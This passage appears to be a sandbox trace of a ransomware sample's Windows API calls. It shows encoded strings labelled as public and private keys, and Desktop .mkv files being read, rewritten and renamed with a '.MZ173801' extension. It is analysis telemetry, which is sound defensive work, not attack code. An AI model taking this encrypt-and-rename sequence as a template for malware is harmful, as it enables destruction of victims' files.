3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0176.979] GetCurrentThreadId () returned 0xab4 [0176.979] GetCurrentThreadId () returned 0xab4 [0176.979] GetCurrentThreadId () returned 0xab4 [0176.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.980] GetCurrentThreadId () returned 0xab4 [0176.980] GetCurrentThreadId () returned 0xab4 [0176.980] GetCurrentThreadId () returned 0xab4 [0176.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xadhbcV1t.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xadhbcv1t.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.980] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.980] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.981] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xfedf [0176.981] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.981] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xfedf, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xfedf, lpOverlapped=0x0) returned 1 [0176.982] CloseHandle (hObject=0x328) returned 1 [0176.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xadhbcV1t.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xadhbcv1t.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.985] WriteFile (in: hFile=0x328, lpBuffer=0x24b0040*, nNumberOfBytesToWrite=0xfedf, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b0040*, lpNumberOfBytesWritten=0x19fa24*=0xfedf, lpOverlapped=0x0) returned 1 [0176.988] CloseHandle (hObject=0x328) returned 1 [0176.988] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\xadhbcV1t.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xadhbcv1t.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\xadhbcV1t.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\xadhbcv1t.mkv.mz173801")) returned 1 [0176.989] GetCurrentThreadId () returned 0xab4 [0176.989] GetCurrentThreadId () returned 0xab4 [0176.989] GetCurrentThreadId () returned 0xab4 [0176.989] GetCurrentThreadId () returned 0xab4 [0176.989] GetCurrentThreadId () returned 0xab4 [0176.989] GetCurrentThreadId () returned 0xab4 [0176.989] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8093cfa0, ftCreationTime.dwHighDateTime=0x1d5e861, ftLastAccessTime.dwLowDateTime=0x20a94360, ftLastAccessTime.dwHighDateTime=0x1d5e67a, ftLastWriteTime.dwLowDateTime=0x20a94360, ftLastWriteTime.dwHighDateTime=0x1d5e67a, nFileSizeHigh=0x0, nFileSizeLow=0x7a8d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="XBv9B02U.mkv", cAlternateFileName="")) returned 1 [0176.989] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.989] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XBv9B02U.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xbv9b02u.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8093cfa0, ftCreationTime.dwHighDateTime=0x1d5e861, ftLastAccessTime.dwLowDateTime=0x20a94360, ftLastAccessTime.dwHighDateTime=0x1d5e67a, ftLastWriteTime.dwLowDateTime=0x20a94360, ftLastWriteTime.dwHighDateTime=0x1d5e67a, nFileSizeHigh=0x0, nFileSizeLow=0x7a8d)) returned 1 [0176.989] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XBv9B02U.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xbv9b02u.mkv")) returned 0x20 [0176.989] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XBv9B02U.mkv", dwFileAttributes=0x80) returned 1 [0176.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.992] GetCurrentThreadId () returned 0xab4 [0176.992] GetCurrentThreadId () returned 0xab4 [0176.992] GetCurrentThreadId () returned 0xab4 [0176.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.993] GetCurrentThreadId () returned 0xab4 [0176.993] GetCurrentThreadId () returned 0xab4 [0176.993] GetCurrentThreadId () returned 0xab4 